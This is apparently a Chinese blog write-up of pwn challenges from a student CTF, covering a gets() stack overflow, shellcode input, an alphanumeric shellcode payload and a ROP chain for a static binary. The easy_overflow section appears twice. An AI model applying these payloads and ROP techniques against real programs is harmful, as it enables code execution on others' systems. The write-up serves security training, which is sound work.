本篇writeup已收录进pwn解题本. Link
前言
天璇战队(merak)办的新生赛,邀请Nepnep去玩儿~ 我跟着凑个热闹~
pwn都不难,除了有道算法题不会(最后队内一个大佬解出来了…)貌似最后还冲到了榜首…
我队大佬们tql,为你们点赞!
Pwn
和WUST-CTF几乎同时举办的~ 所以就只做了pwn~(其他的题队内大佬都秒了)
easy_overflow
题目描述:
有种你连我
题目附件:easy_overflow
考察点:栈溢出、变量覆盖
难度:入门
初始分值:500
最终分值:50
完成人数:58
程序分析
主要代码如下,gets
函数存在漏洞,可导致栈溢出:
1 | int __cdecl main(int argc, const char **argv, const char **envp){ |
程序逻辑比较简单:对v5
进行检查,通过检查就给shell。
1 | ► 0x555555554874 <main+113> call check <0x55555555479a> |
v5="ju3t_@_f@k3_f1@g"
check
函数如下:
1 | signed __int64 __fastcall check(__int64 a1){ |
其中
fake_flag
位于.data
段,fake_flag = "n0t_r3@11y_f1@g"
解题思路
gets(&v4)
存在溢出,将v4
后的v5
覆盖为n0t_r3@11y_f1@g
即可通过check
exp
1 | offset = 48 |
shellcode
题目描述:
zaima, 有人想试试你的shell麦吉克
题目附件:shellcode
考察点:shellcode
难度:入门
初始分值:500
最终分值:120
完成人数:47
程序分析
没啥好分析的,输入shellcode即可。
exp
1 | payload = asm(shellcraft.sh()) |
shellcode-revenge
- 题目描述:
你的麦基客似乎没用了
- 题目附件:shellcode-revenge
- 考察点:aplha shellcode
- 难度:简单
- 初始分值:500
- 最终分值:448
- 完成人数:18
程序分析
IDA没有识别出来
call rax
,所以直接F5会失败。用ghidra就没问题~
1 | undefined8 main(void){ |
对输入进行了限制,基本上只能使用可见字符做shellcode.
解题思路
直接用alpha3
生成shellcode
即可。
有关纯字符shellcode的介绍可以看我的这篇文章:纯字符shellcode生成指南
exp
1 | payload = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' |
easy_overflow
题目描述:
有种你连我
题目附件:easy_overflow
考察点:栈溢出、变量覆盖
难度:入门
初始分值:500
最终分值:50
完成人数:58
程序分析
主要代码如下,gets
函数存在漏洞,可导致栈溢出:
1 | int __cdecl main(int argc, const char **argv, const char **envp){ |
程序逻辑比较简单:对v5
进行检查,通过检查就给shell。
1 | ► 0x555555554874 <main+113> call check <0x55555555479a> |
v5="ju3t_@_f@k3_f1@g"
check
函数如下:
1 | signed __int64 __fastcall check(__int64 a1){ |
其中
fake_flag
位于.data
段,fake_flag = "n0t_r3@11y_f1@g"
解题思路
gets(&v4)
存在溢出,将v4
后的v5
覆盖为n0t_r3@11y_f1@g
即可通过check
exp
1 | offset = 48 |
nothing_but_everythin
题目描述:
What could you do with such a pile of rubbish?
考察点:栈溢出、静态编译
难度:简单
初始分值:500
最终分值:465
完成人数:15
程序分析
第两次read
存在栈溢出:
1 | undefined8 main(void){ |
解题思路
直接找gadget,构造rop链:
1 | def ropchain(): |
其中
"/bin/sh\0"
可以利用第一次read
读入
exp
1 | # rop1 |
More
这题可以ROPgadget
一把梭,刚开始远程打不了,以为是一把梭脚本有问题,后来群里说是题目的问题。。。。修好了之后又试了一下一把梭,可以打:
1 | ROPgadget --binary ./nothing_but_everythin --ropchain |
静态编译的程序中存在大量gadget,因此可以直接用ROPgadget生成rop链